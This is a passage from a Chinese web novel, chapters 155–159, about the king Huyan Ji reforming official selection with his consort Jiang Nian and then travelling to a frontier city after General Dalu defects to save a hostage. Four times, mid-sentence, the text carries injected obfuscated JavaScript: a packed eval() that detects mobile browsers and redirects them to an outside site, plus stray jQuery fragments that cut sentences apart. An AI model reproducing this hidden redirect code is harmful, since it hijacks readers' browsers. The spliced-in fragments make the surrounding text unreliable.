呼延吉擒住她拿葡萄粒的手,扯向自己,一手环上她的腰肢,掌心在她的腰曲处摩挲。 江念往周围望了望,红着一张脸:“你快松手,一会儿叫宫侍们看见了。” “看不见,都在外面守着。”呼延吉附到她的耳边,轻声道,“拜师得行跪师礼,我可不愿跪你,若我真跪了,你受得起么?” 江念呆了呆,还真是,他的双膝她确实受不起。 感受到腰间的臂膀缓缓拢紧,她忙岔开话头,顺势从他怀里退出。 “我居夷越时日不长,还不满一年,只能谈些粗浅的想法,不一定就是对的。”江念重新理衣,敛好裙摆,坐回毛毯。 呼延吉点头:“无妨,你说来,我自有考量。” 江念想了想,先问了一句:“大王有无想过,为何夷越一直以来难以拢集王权?” “五上姓权势过甚。” “可不止五上姓,还有夷越各大世家豪强,他们都有培养己方势力,那么,大王选用人才的路径只能通过这些上姓和世家,如此一来,朝堂之上的官员就不属于大王,而是属于将他们提拔上来的家族。” 江念说罢,端详了一下呼延吉的面色,见他眉目深凝,眼珠微微下压,思索态。 “阿姐,你接着说,我听着呢。” 江念又道:“夷越的政规我并不十分清楚,不过就我知道的,大概猜测一下。”江念掰起指头,说着,“一、官职世禄**,那些个世家大族,还有诸侯、大夫一身官袍可传三代,或是四代、五代、六代……” 江念往后数着,被呼延吉打断:“行了,行了,这个就不必数了,你继续往后说。” 江念“嗯”了一声,拉回话头:“除了**世禄,还有一个,想走上仕途,需有高官举荐。” “不错,这些典章制度一直以来皆是如此。” 夷越并非蛮夷小国,只是不比大梁而已,也是历经多代才定下如今的基业,有自己的朝政法度和国策。 江念摇了摇头:“这就有很大的弊端了,大王,你想呐,高门世族可承袭爵位,积年累月之下,这些豪强世家……譬如五上姓,朝堂之上的那些官员定然分属五上姓,上姓之家拥兵自重,这可不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488762|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一代就能达到的,必是历经数代之久,才拥有这么大的权势。” 江念见呼延吉不语,睛眸微沉,继续道:“再一个,妾身适才说,地方人才由地方官员举荐,这个有利有弊,不过就妾看来,实是弊大于利。” 呼延吉解释道:“地方举荐也是因为各地官员对本地民生情况了解,贴近本地需求,提拔上来的人才能更快融入职位。” “这也不错,所以妾身说有利有弊,大王说了它的好,那妾来说说它的不好。” 江念说这话时,面色比先前更为认真:“举荐人才的制度设计本意虽善,但实际上缺乏明确的规范与制衡,极易沦为权力的工具,考核监督形同虚设,官员手中的举荐权成为私相授受的筹码,官员们既可借机培植裙带关系,将门生故旧安插要职,亦可待价而沽。” 江念说罢,反问道:“这些推举上位的人,岂会真心为国为君为民?” 呼延吉默然不语,江念停顿了一会儿,给自己续了一杯果饮,喝了小半盏,继续说着。 “那些深谙官场逢迎之术之人,亦会通过谄媚贿赂获得举荐,而真正秉持清正操守的贤能之士,或因不愿同流合污而遭排斥,或因缺乏利益相关而受冷落,反倒扭曲了人才选拔的公平性,更会形成‘劣币驱逐良币’的恶性循环,而钻营者占据要职,实干者边缘化,必致朋党盘结,与‘选贤任能’的初衷南辕北辙。” “崔致远不就是一个很好的例子么?有真才实学,可像他这样的蓬门子弟,只因得罪了府令之子,便断绝了仕途,这中间吃了多少亏,碰了多少壁,只有他自己清楚,走投无路之下来了京都,结果依然求路无门,倘若不是遇见王,这样一个人在洪流中不会激起一点水花,没人知道他,就此被埋没。” 呼延吉深以为然,他不是不知道这里面的弊端,却没有一个具体的方法解决:“有关五上姓或世家爵位和封地的**,这个很难变动,他们历经数代经营,早已将爵位、土地、私兵编织的牢不可破,一旦牵扯上各大家族利益,便会联合起来对抗王权,稍有不慎,轻则朝堂鼎沸,重则烽烟四起,极易遭到反噬,这也是我为何迟迟没对他们大放血的缘由。” 江念点头,说道:“妾身这里倒是有个法子,不过眼下最该处理的不是上姓氏族,也非世家大族,料理他们需放到最后,大王如今需培养自己的势力,以‘不问出身,唯才是举’为帜,使寒门俊杰尽入彀中,届时才好同他们抗衡。” 呼延吉感觉身体里的血越来越热,一颗心怦怦地跳动,将屈起的一条腿收起,落座到江念身边,离她更近一点,明明能听得很清楚,却还想听得更清楚…… 第156章 江山重要,你也重要 “所以阿姐让我培养自己的势力,同你刚才说的地方举荐有关系?” “不错,其实大王可以用公开的考核来选拔人才,而非靠世家大族和地方荐举,如此便能打破门阀对于人才的垄断和把控,从而强化王权。” 江念转身,拿了一粒葡萄,也不剥皮,径直塞到呼延吉嘴里,说道:“届时,那些通过考核的人才,既是真才实学之辈,且只效忠于大王一人,这样不好?” 呼延吉因太过专注,竟是连皮带肉地把葡萄囫囵一咽。 江念想提醒他已是来不及,只当没看见的,继续说道:“从地方一层一层选拔乡贡,书塾选拔生徒,不能说绝对,但能从众人中脱颖而出者,各方面的才能不会差,最后一道考核,大王可将这些佼佼者召入朝堂之上,进行殿试,由大王亲自考学,再赐予官职,如此一来,他们皆为大王的门生,是不是?” 呼延吉听罢,大笑着一拊掌,抱着江念的头,在她的额上狠狠地亲了一下,尤嫌不够,又在她的左右脸颊各“吧唧”地亲了亲。 “甚妙!甚妙!”呼延吉脸上有了不一样的神彩,霍地一起身,迈开步子往外走去。 江念也随之起身,叫住他:“去哪里?” “我现在就去议政殿,理一理,再招几个心腹大臣好好商议一番,看这个举措该如何实施。” “这事也不是一蹴而就的,再者,这会儿太阳都快落山了,将至晚夕时分,再要紧也等明日说,一旦拟定章程,你就是想歇也歇不下了,这可不是一件易办的小事。” 呼延吉一想,觉着也是,这样大的事体,他自己得先有个眉目,于是暂先捺下。 掌灯时分,两人用罢晚饭,盥沐过,呼延吉又拉着江念就下午讨论的考举一事进一步细说。 “阿姐,你这个法子可太好了,怎么想出来的?” 江念笑道:“以前在大梁时,我喜欢听戏,在茶楼意外结识了一个随夫四处游历的女子,聊了很多,她收藏了许多市面上见也没见过的杂记,我把她的那些书翻了个遍,全都记在这里了。” 江念点了点自己的脑子。 “你不是最恶读书么?没记错的话,江家给你找了先生,你那个时候三五天的装病。” 江念脸蓦地一红:“我又不是什么书都厌烦,那些书不一样,看着有趣。” 呼延吉明白了,想必那些书上大多讲些世情,譬如什么怪谈、游记、才子佳人之类,有关考举之事,应是书里夹杂的只言片语,被她记下了。 呼延吉问道:“那人从哪里来的?” “不同夷越接壤,却在梁境的另一端。”江念倏忽一笑,“我同那位娘子甚为投缘,她还说叫我日后去找她呢。” “她叫什么名儿?你别被人骗去卖了。”呼延吉戏谑道。 江念抿嘴儿笑道:“你把人想得忒坏,她叫什么我不知晓,只知家仆唤她魏夫人,想来她夫家姓魏。” 呼延吉没再追问。 两人又说了好些话,直到深更方睡去。 之后的几日,呼延吉很忙,常常天暗才回西殿,江念料想他一定正在谋划考举一事。 然而,还未等他有所实施,东境又来了一封信。 达鲁叛国,投敌了…… 江念才从祥云殿回到西殿,就见木雅指着几名宫婢正在清理呼延吉的行装。 “这是做什么。”江念问道。 木雅回禀道:“回梁妃的话,婢子们清点王的行装。” “清点行装?大王要出远门?” “这个婢子不清楚,大宫监吩咐我们整装大王的行当。” 江念点头表示知晓,待呼延吉回殿问询,可一直等到傍晚,仍不见他回西殿,于是叫上秋月,乘辇去了前廷。 才到议政殿阶下,丹增已趋阶下迎。 江念在秋月的搀扶中下了步辇,看向丹增,问道:“大王可在议政殿?” “大王在殿中,正同昆善将军和另几位将军议事,梁妃若有要事,老奴可往里通报。” “不必了,没甚要事,劳宫监带我到偏殿坐一坐,待王议事毕,再传知于我。”江念说道。 丹增应是,引着江念上了台阶,进了偏殿,收宫奴上茶点。 好在没有等很长时间,丹增过来报知,可以进议政殿了。 江念进入隔壁的议政殿中,往里一看,呼延吉正背手立在窗前,缓缓走上前:“是不是东境那边出事了?” 她一整个下午内心惴惴不安,没有要紧之事,呼延吉不会出王庭,如今也只有这一头事叫他伤神。 “达鲁投敌了。” 江念呼吸一窒,追问道:“那个东境大将军?投敌,投梁军?” 呼延吉点了点头。 这简直让人料想不到,好好一个大将军,明明已胜况在握,怎会突然投敌?这中间难说没有蹊跷。 “我见宫婢们正整理行装,所以……大王要亲赴东境?” “不错,如今崔致远同军中副将带兵在佩城中坚守不出,梁军不仅渡过星月湖,又以毗邻佩城的砂城为据,佩城腹背受敌,危矣,不知还能守多久,此信送出有一段时日,眼下那边战况不明。” 江念沉吟片刻,问道:“一定要亲身去么?” 呼延吉想起崔致远在信中所提,大概意思是达鲁投敌,另有隐情,又颇费笔墨地道述此人性刚毅,之前虽效忠朵家麾下,实则是个异常忠勇之人,若能将达鲁收入彀中,东境可安。 信中言辞很凌乱,信尾又道,想安东境,关键在达鲁,达鲁乃成败关键,只要收拢达鲁,不废一兵一卒,危机可解。 崔致远没有明说,可呼延吉大概知其话中意思,唯有他亲自赶赴一趟东境,才有可能将这员大将收入麾下。 呼延吉“嗯”了一声,算是给了回应。 江念缓缓垂下眼,不知在想什么。 是夜,呼延吉从沐间出来,掀起帐幔,刚上到榻上,一双柔软的臂膀从后环上他的颈,接着就是耳后轻轻地触碰。 虽说呼延吉忧虑边境战况,可难得她主动一回,心里怎能不开心,刚要给予回应,就听她在耳畔细声说道:“妾想伴在大王身边……” 呼延吉握着她的手,紧了一紧,说道:“太危险了,此次前去,我身边没有人马,你可知要面临什么。” 江念知道,先不说调动人马千里跋涉是否可行,就算将人马调到东境,又会是怎样一番况情,那个时候只怕砂城和佩城已被梁军尽占。 再想收复只会更难。 江念见他没有立马反对,且言语软和,心里腾起希望,继续央浼道:“我知道危险,不危险我也不开这个口了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492811|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不是夸我聪明么,我随在你身边,指不定能帮上忙呢,就是帮不上忙,也绝不给你添麻烦。” 呼延吉闷笑出声,侧过头,她小巧的小巴搁在他的肩头,粉腮偎在他的颈间,呼出的气息像蛾翅扑闪,轻馥馥的。 “几时夸你聪明来着,我是一点也不记得。” 江念呆了呆,心道,好像是未说过,不甘心道:“那你忍心把我丢在这王庭?万一我再被人拐了怎么办,你上哪儿找去。” “你只要不出王庭,谁会拐你。” “那可说不准,这王庭里不见得就安全妥当,那什么大朵啊,小朵啊……”江念佯装道,说罢,又长长地唉了一声,“罢了,罢了,大王嫌弃我了,趁这个机会撂开手,等回来呢,我还在不在就不一定了,不过也是,在王的眼中,定是江山更为重要……” 呼延吉一挑眉,语气沉了沉:“江山重要,你也重要。” 江念松开环在他肩颈上的双臂,一个转身,依到他怀里,她是真不放心他,虽然知道他的身边有阿多图等护卫,兴许还有其他人,可她的心没法安定,只想靠他再近一些,才好。 那边到底是个什么情况,现在不好说,崔致远的信寄出时,佩城还守着,如今指不定已被梁军攻陷。 还有,达鲁为何要投敌,江念猜想这也是呼延吉打算亲赴东境的原因之一,至于他打算怎么做,她现在不好问,不过他心里肯定已有计较了。 呼延吉身形英挺,江念刚好坐个满怀,望向他的眼底,说道:“你也不舍得我,对么?” 呼延吉叹了一息,说道:“我会加急赶路,你受得了?” 江念一听这话,便知他松口了,正了正身子,说道:“绝不拖扯你们的后腿。” 呼延吉想了想,终是应下。 江念心中欢喜,从呼延吉怀里退出,一咕噜下了榻,透过纱帐,他见她忙颠颠地清理行装。 “你叫宫人们进来替你整理。”呼延吉说道。 “不必了,本是赶路,也不多带什么,只带几件衣物就好。” 说是只清点几件衣物,结果半晌不见她整理停当,呼延吉生恼,哪有这样的,把人火气撩上来又不负责灭火。 你催促她罢,她总说好了,好了,却总不见好。 待江念收拾得差不多后,走回榻边,掀开纱幔,床上之人已歪侧着睡去。 她轻着手脚翻爬到里侧,缓缓地俯下身子,倘若换作平时,这点动静他能感知到,今日想必是累了,尽无所知觉,呼吸仍旧平稳绵长。 虽是熟睡了,可眉宇间并不放松,微皱着。 江念心叹,别说我大你五岁了,就是再大你一些,你若一直这样操心劳神下去,便呈现不符年纪的疲态,时间长了,这份疲态就像套在脸上的面具,一点点同本来的面貌融合,摘除不去。 她想将他眉间的褶皱抚平,却又怕将他弄醒,于是调整好位置,轻轻躺下,拉上衾被,闭上眼睡去。 次日,一行人出了王庭,往东境赶去,路途如何颠簸,自不必说。 随同呼延吉赶赴东境的人除了呼延吉的随侍丑奴,再就是阿多图和昆善,另有十来人,皆属王庭亲卫。 众人一人一马,一路倍道而驰。 他们不知,东境的情况比他们想象得更糟糕…… 第157章 纵使城破,身不降! 虽说江念坚称自己无事,能跟上,可呼延吉不能不担心,包括阿多图还有昆善等随众,亦为他们这位王妃捏把汗,别说女子了,就是他们这些男儿,亦有些吃不消。 然而,这位梁妃连一声哀怨也无,只是随在他们大王身侧,偶尔歇脚之时,就见大王同王妃低头喁喁私语,应是在关慰着她。 不论大王说什么,那位王妃都是笑着,没见她蹙过眉,可他们知道,做出那样一番神情并不轻松,千里跋涉最是熬人。 终于,他们抵达了东境,东境的佩城没有想象中的两军对垒,兵戈匝地,亦没有狼烟四起。 城门人员进出如常,看不出任何异样。 然而,城墙上焚烧过的黑灰痕迹,还有颓败的墙体,残于墙体上的箭矢,昭示着这座城镇被战火焚烧过。 呼延吉等人换了常服打扮,只远远地看着,果然不出所料,佩城已然被梁军攻陷。 一名亲卫先去城中打探,其他人暂不进城,只见那名亲卫走到城门前,先被盘问几句,然后放行进城。 过了好一会儿,那亲卫从城中出来,缓步走了一段距离,待离城门远了,再疾步到城门外的小林间。 “属下进城时,城门卫只略作盘问便放行,城中的巡卫兵俱是梁军,除此之外没有其他异常。” 呼延吉问道:“可有张贴搜捕告示?” “属下特意留意过,并没有。” 阿多图想了想,说道:“大王,城中既无搜捕告示,只怕那位崔监军凶多吉少。” 这也正是呼延吉所虑,所谓擒贼先擒王,通常情况下,敌军破城后,一定先擒获头领,达鲁在城破之前就已投敌,到底是自愿还是被迫,现在还不好说。 书信发出之时,至少城还未破,崔致远带军守城,那么城破之后,梁军定是全力擒拿身为监军的他。 眼下城中并无抓捕告示,要么,城破之时,崔致远就**,要么……他被梁军拿住了。 无论哪一种都很糟糕。 “大王,那位崔监军在信中可还说过什么?”昆善问道。 “他说会有人在城门接应。” 想必崔致远发信之时,已预料佩城守不住,而且他在信中言明,达鲁叛变另有隐情。 呼延吉并不敢肯定是否真有人接应,现在情况太过复杂,而且接应他们的那人…… 呼延吉让昆善同其他人留守于城外,只带了江念、阿多图还有丑奴三人在身边:“我们先进城,之后再作打算。” 才一进佩城,面前突然窜出一人,横拦于呼延吉等人面前。 阿多图当下拦在呼延吉面前,当看清眼前之人时,两眼大睁,似是有些不信。 “朵阿赤?!” 朵阿赤一把挥开阿多图,就要向呼延吉行礼,被呼延吉一把止住:“先找个落脚之处。” 朵阿赤看见呼延吉,激动得差点掉眼泪,似是有满腹话要说,像是一个迷途的孩子,终于找到了家里的长辈一般。 “大王,你是不知道……对,对,这里不是说话的地方。”男人说着话,眼睛不自觉落到呼延吉身后的江念身上,愣了一愣。 城中并没有想象中的严防死守,和平时没有两样,唯一的区别就是城中的巡防卫是梁军。 朵阿赤带着呼延吉等人进到一家客栈,上了二楼,这些时日,他一直在此落脚。 呼延吉等人刚一进屋,朵阿赤就跪伏在地,向呼延吉行了一礼。 江念看着这位朵家长子,她对他唯一的印象就是那一头在阳光下微微泛着赤色光晕的及腰鬈发。 “起来说话。”呼延吉说道。 朵阿赤这才从地上起身。 呼延吉走到一张方桌边坐下,朵阿赤侍立一侧向呼延吉备述连日来发生的种种。 在他们商谈事宜之际,江念走到另一侧的圆椅边坐下,打量起这个房间来。 屋室不大不小,只是普通的客房,床榻上的衾被有些凌乱,床头架上还挂着一条换下的长裤,床尾一侧的地面摆有一双更换的玄色长靴。 江念在那双长靴上看了一会儿,靴面上蓬了灰,又将眼睛落到朵阿赤的脚上,来回睃了两睃。 最后又不着痕迹地轻轻耸了耸鼻。 她不得不警醒一点,一来朵阿赤毕竟是朵家人,二来佩城被梁军侵占,就她观察中,朵阿赤在这一点上没有撒谎,他住于这间屋子有一些时日,处处都是生活过的痕迹。 江念的举动落到朵阿赤的眼梢里,一个转眼,男人的面上有点泛红。 他不知这位梁妃也来,早知道把屋子收拾一下,从来他的身边有下人伺候,生活杂务根本无须自己动手。 然而此一时彼一时,现下这个境况,他只能尽量低调,一直独身住在客栈里,先时,他不敢出客栈房门,掐算着日子,料呼延吉等人快抵达时,才隐在城门附近守候。 这会儿房中凌乱,偏叫这位梁妃看了去,心里很不自在,有些丢面。 呼延吉见朵阿赤面色有异,且有些心不在焉的模样,于是清咳了两声,朵阿赤忙调转心神。 “你说崔致远把你塞到箱子里,还有这回事?”呼延吉问道。 一提起这个,朵阿赤恨得牙痒,心里骂骂咧咧,小人就是小人,只会耍些阴私手段,所以呼延吉一来,他就先把崔致远的卑劣行径痛斥一番。 “那你如今这是……”呼延吉又道。 朵阿赤便把后面的事讲了。 原来他被人用红木箱抬出将军府后,一直被困锁于一间屋室内,倒是没怎么样他,吃喝皆有。 就这么被困了月余,在此期间,他把崔致远的所作所为前后一想,便明白他玩的什么把戏,让他神不知鬼不觉得消失,造成回京的假象,然后再在达鲁面前挑唆,而他写给自己父亲的那封信,就成了佐证。 这样一来,达鲁会认定自己在朵家无法立足,转而投向崔致远,不,是崔致远背后的君王。 是以,当他有一日发现屋外的看守没了,一得到自由,首先想的就是折回将军府,在达鲁面前揭穿崔致远的把戏,再让他滚蛋! 然而,当他出了那间困了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492812|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他月余的屋室,走到佩城的街市,才发现往来百姓行色匆匆,城中随处可见持戟军兵。 整个城镇充斥着紧张的气氛。 他急步寻到将军府前,府门前连护卫也无,只有两个门子,坐在小杌子上打瞌睡。 朵阿赤进入府中,心下疑虑越重,径直朝达鲁的院中走去。 穿过一方院落时,脚步不由得顿了顿,这方院落之前住着崔致远,崔致远住右侧,而他的屋室在他对面,穿过这间院落,才是达鲁的院子。 所以,当他行至此院,不免下意识地朝右侧瞥了一眼。 右侧的房门紧紧闭着,只有两扇窗半开半掩,透过窗隙,暗昏昏的屋里隐约有人影伏于桌案。 朵阿赤心头怒火蹭蹭往上蹿,好个贼狗肉,大爷今儿不把你打得哭爹叫娘,你还以为大爷好性儿。 “啪——”的一声,朵阿赤将房门大力踹开,那伏于桌案后之人不是崔致远却又是谁?只见他手执笔管,埋头急写着什么。 愁人见面分外眼红。 桌案后的崔致远听见这般大的动静,只略略抬头看了一眼,见了来人面上没有丝毫讶异之色,继续低下头,奋笔疾书。 “好你个狗头监军,爷们告诉你,你算是犯我手里,就算你背后有王撑腰也是无用,我朵阿赤自打出生起,从未受过此等**。” 不论朵阿赤说什么,崔致远只是伏案不语。 “我说话,你听到没……” 正在朵阿赤喋喋之际,案后的崔致远搁置笔管,将手里的纸张对折塞入封套中,走到朵阿赤面前,面色平静地双手将书信呈于朵阿赤。 “什么意思?”朵阿赤两眼往书信上一溜。 崔致远看向朵阿赤,郑重道:“烦请小朵大人替学生将这封信寄于王庭。” 朵阿赤先是一怔,接着大笑起来,指向自己,说道:“崔监军,你看我这张脸,可还认得我,你没认错人罢?” “朵家大郎,学生没有认错人。” 一语毕,朵阿赤缓缓收起面上的笑,两眼向下睨着这个比自己矮半个脑袋的黑瘦穷书生,冷嗤了一声,就要转身离开。 “小朵大人,达鲁将军已叛变!” 只这一声儿,将朵阿赤离开的脚步冻住,腾地转过身,喝道:“你说什么?!” 崔致远深吸一口气:“达鲁将军投敌了。” 说罢崔致远将手中的书信再次递向朵阿赤:“众人皆知达鲁效忠于朵家,他投敌,你们朵家脱不了干系,小朵大人,这可不是玩笑!” 朵阿赤咽了咽喉,他朵家担不起通敌叛国的罪名,这一次他接过崔致远手里的书信,问道:“让我怎么做?你为何不亲自将书信寄出?” “佩城的驿站走不了,小朵大人去往周边的城镇,将书信加急寄出。”崔致远说罢,顿了一顿,眼中闪过一丝哀戚,说道,“学生走不出佩城了。” “你要走,谁能拦你?”朵阿赤不明白。 “梁军不日就会攻城,学生不能走,誓同余部死守佩城,纵使城破,身不降!” 第158章 情沾意合 朵阿赤心头震动,立在那里说不出话,世间还有这样傻气之人。 朵阿赤将书信收好,问道:“达鲁为何突然投敌?” 崔致远叹了一口气,说道:“梁人抓了阿枝。” “阿枝?那是什么人?” “阿枝之于达鲁将军,犹如梁妃之于大王……”崔致远看向朵阿赤,不再多作言语,只是催促他快些离开,定要将书信寄出。 朵阿赤将事情头尾道出。 呼延吉默然了一会儿,问道:“你问那名叫阿枝的女子,崔致远是这般回复你的?” “是。” “达鲁如今可在佩城?”呼延吉又问,看来事情的关键在那名叫阿枝的女子身上,依崔致远的说法,那女人被梁军抓了,落后达鲁才叛变。 朵阿赤回道:“回大王的话,达鲁同梁军首领居于隔壁砂城,佩城只留有梁军几名副将带兵看守。” 呼延吉两眼微微眯起,他们得去一趟砂城…… …… 砂城…… 砂城官廨会客厅内。 两名武将打扮的黑眸黑发男子于矮案前对坐,皆是四十出头的模样,一人身着青衣宝相暗纹长袍,一人身着绛色云雷纹圆领袍。 这二人正是此次梁军对战夷越的将领,青衣袍瘦长脸的男子名张忠,绛色圆领袍阔脸的男子名程放。 二人对坐不语,慢慢品着手中香茶,尤其那名叫张忠的瘦长脸男子,明明是武将,静下来却带着几分儒雅气,不同于先前攻取衡炀的梁军另一位首领,周兴。 周兴这人生了一对半截眉,皮肤是军人风吹日晒后的粗粝酱色,一双窄眼尤为狠厉,攻城失败后,被呼延吉追袭,斩杀。 像周兴那样一脸凶相之人,更好对付,可这两人看着较周兴更为深藏不露,面上波澜不惊,眼中无绪,难以捉摸。 “还是张大人机智,从达鲁的身边人下手。”程放说道。 张忠面上并没有喜色,神情亦是淡淡的:“若非如此,此战我方胜算渺茫,算不得什么正大光明的手段。” 程放点头道:“所谓兵者,诡道也。” 张忠摆了摆手:“说是这般说,**一女流,实乃不光彩之事。” 张忠同程放率军赴往东境前已探查一番,从信报得知,东境军效力于夷越五上姓之一的朵家,呼延吉难以调动。 落后,他们拿下砂城,以砂城为据点,本以为夷越会立时给以**,不想没有丝毫动静,料想对方内部生了龃龉。 其实初时,夷越率兵给以反击,他们不见得能守住砂城,然而并没有。 夷越大将达鲁,骁勇善战,其府邸坐落于佩城,若是强攻,很可能让他们连砂城都要失去。 只要是人就会有软肋,正所谓,打蛇打七寸,捏人捏三寸。 张忠便生出一计,让人打探有关达鲁这人,然后事无巨细报之于他,本没抱希望,结果还真让他找到了关窍,便是那名叫阿枝的女子,以此拿捏住了达鲁的三寸咽喉。 达鲁归降后,本以为梁军可轻松攻下佩城,谁知东境军余部,在一名监军的统帅下,死守城池,费了好一番气力,折损不少人马,才拿下佩城。 “这也是没有办法,朝廷不加派兵马,我军后方无援,千里跋涉于此,人困马乏之下,士气渐颓,若不趁势一举拿下佩城,后续再难有机会。”程放说道。 张忠也是无奈,皇帝平庸无为,胸无丘壑,且极易被人左右,做个守国之君都是不足。 程放看了一眼门外,低声道:“那女人如何了……” “仍是关着。”张忠答道。 “就这么一直关着不放?倒不为别的,就怕把那人逼急了来个鱼死网破。” 张忠想了想,说道:“不怕,只要这女人在我们手里,达鲁翻不出花来,总得叫他助我们把整个夷越东境拿下,待那时再说。” 二人正说着,外面通传,达鲁前来请见。 张忠同程放对看一眼,叫仆人将人请进来。 张忠,程放二人虽为武将,可那体格放在梁国武将里也只算平平,并不如何强壮,更不要说在身形本就彪壮的达鲁面前。 下人将达鲁引了进来。 男人散着发辫,一对浓眉下,双目沉沉,脸侧腮骨微微绷紧。 二人正待言笑,达鲁冷脸开口道:“我的人呢?” 张忠笑了笑,徐徐说道:“大将军不急,人如今好好的,总会让你见到的。” 达鲁冷哼一声:“初时你说拿下佩城,便可放人,现在佩城已拿下,为何还不放人,你们梁人竟这般无信、无耻。” 程放不像张忠那般好性,脸色稍稍一变,说道:“达鲁将军怕是搞错了,如今你为鱼肉,我为刀俎,你没有同我们谈条件的资格,几时放人,放不放人,由我们说了算,你只需按我们说的做便可,哪有你提要求的余地!” 张忠从中调和,说道:“将军莫要动气,那位娘子我们好吃好喝地伺候着,人是无恙的,届时定还你一个完完整整的娇娘。” 达鲁看着面前二人,如何不知他们一个唱红脸,一个唱白脸,但他没办法,只能生生捺下气性:“不让我见她,让我见一见我夷越的崔监军,这总可以罢?” “自然可以。”张忠招来下人,吩咐道,“带大将军去暗牢。” 下人得了吩咐,带着达鲁往府衙后的暗牢行去。 进了牢房大门,走过一条阴湿逼仄的过道,停在一牢门前,下人将达鲁带到,退到了外间。 只见那牢房内泥黑的地面,因湿气过重,显得格外脏污,牢房一角立着一个磨损的小石墩,石墩上放着缺口的瓷碗,碗底盛着一点黄浑浑的水。 牢房一角侧伏着一人,浅色的衣衫,已看不出本来颜色,上面有点血渍,同泥黑的地面对比鲜明。 那人听见脚步声,缓缓撑起身子看向牢房外,先是怔了怔,然后依旧侧躺着,背过身,不去看门外之人。 “崔监军?”达鲁叫了一声。 崔致远不理,侧躺于地面一动不动,心里实在气,他这辈子是脱不离大牢了,无论走到哪儿,总要在牢里蹲一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497574|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹲。 “某自知罪深,不敢奢求监军原谅,待将阿枝救出,我会想办法救监军出牢狱,届时再向大王以死谢罪。”达鲁说罢就要转身离开。 崔致远这个时候却动了,缓缓起身,艰难地站起,一只手摁在受伤的手臂上,往达鲁面前走了几步,说道:“大将军不该向大王以死谢罪,将军对不起的是我夷越誓死守城的将士们,是千千万万的夷越子民,东境失守,意味着什么,将军不会不知晓。” 达鲁眼珠向下,微敛着眼皮,声音没有太大的起伏:“某一直记得监军那句‘一令安三军,片语定乾坤’,但阿枝在他们手里……” 男人说着,渐渐抬起眼,看向崔致远,问道:“可否问监军一个问道?” “将军问来。” “在监军心中何为重,何为轻?” 崔致远只略一思索便给出回复:“以天下为怀,以己身为轻,是以,天下为重,君王为重,个人为轻。” 达鲁点了点头,启口道:“然,在某这里,阿枝为重,天下为轻。”说罢,不待崔致远再言语,径直出了牢房,回了他在砂城的临时住所。 是夜,砂城北区的一座三进宅院,这院子墙体以灰黄的岩石垒成,大门檐下挂着两个红红的灯笼。 若是在大梁,节日之时,檐下灯通常会在灯身上写上“福”“庆”等吉祥的字,又或是写上这家主人的姓氏,譬如“李”“张”“刘”等。 而夷越不同,红红的灯笼上没有字,只有两头凶兽,那檐下灯在浊热的风中打着飘,红色的光把门前的一片照得红恍恍的。 在这座大院的正院,阶下立了两人,一个年岁尚轻,一个稍稍年长。 年轻之人正是鱼九,而年长之人是老鬼,两人追随于达鲁身边,突然听得房里“咔擦”“叮咚”声响,知道大将军又喝多了,各自嗟叹,这又是何必,人在跟前时,不见得有多亲近,如今人被掳走了,却又这般懊悔。 他二人是知道阿枝同达鲁两人的过往,但所知也只是表面,并不清楚内里。 达鲁看着桌上细弱的烛火,这么些年来,他一直很痛苦,阿枝对他的感情,他不是不知道,可她对他越好,他就越发觉得负罪。 他同康居是一路走来的生死之交,从无名兵卒升任至校尉,交情至深。 后来康居将妻子阿枝从老家接到东境,他第一眼见阿枝时,只觉着这女子看起来很端正,没错,就是端正,浓浓的眉毛,晶亮的大眼,微暗的肌,笑起来露出一口整齐的白牙。 阿枝脾气很好,不论见着谁,行止间都是大大方方的,说话也总是笑模笑样。 后来康居见他独身一人,时常邀他去他的小家做客,吃酒。 康居本是一番好意,日久之下,他却对阿枝生了情意,当他意识到时,开始有意避着阿枝,康居再邀他去家中做客,他就找各种理由推脱。 直到有一日,康居再三邀他,他实在推却不了,就去了,本已平复的心在见到阿枝时,再一次不受控制起来…… 第159章 勾他入帐 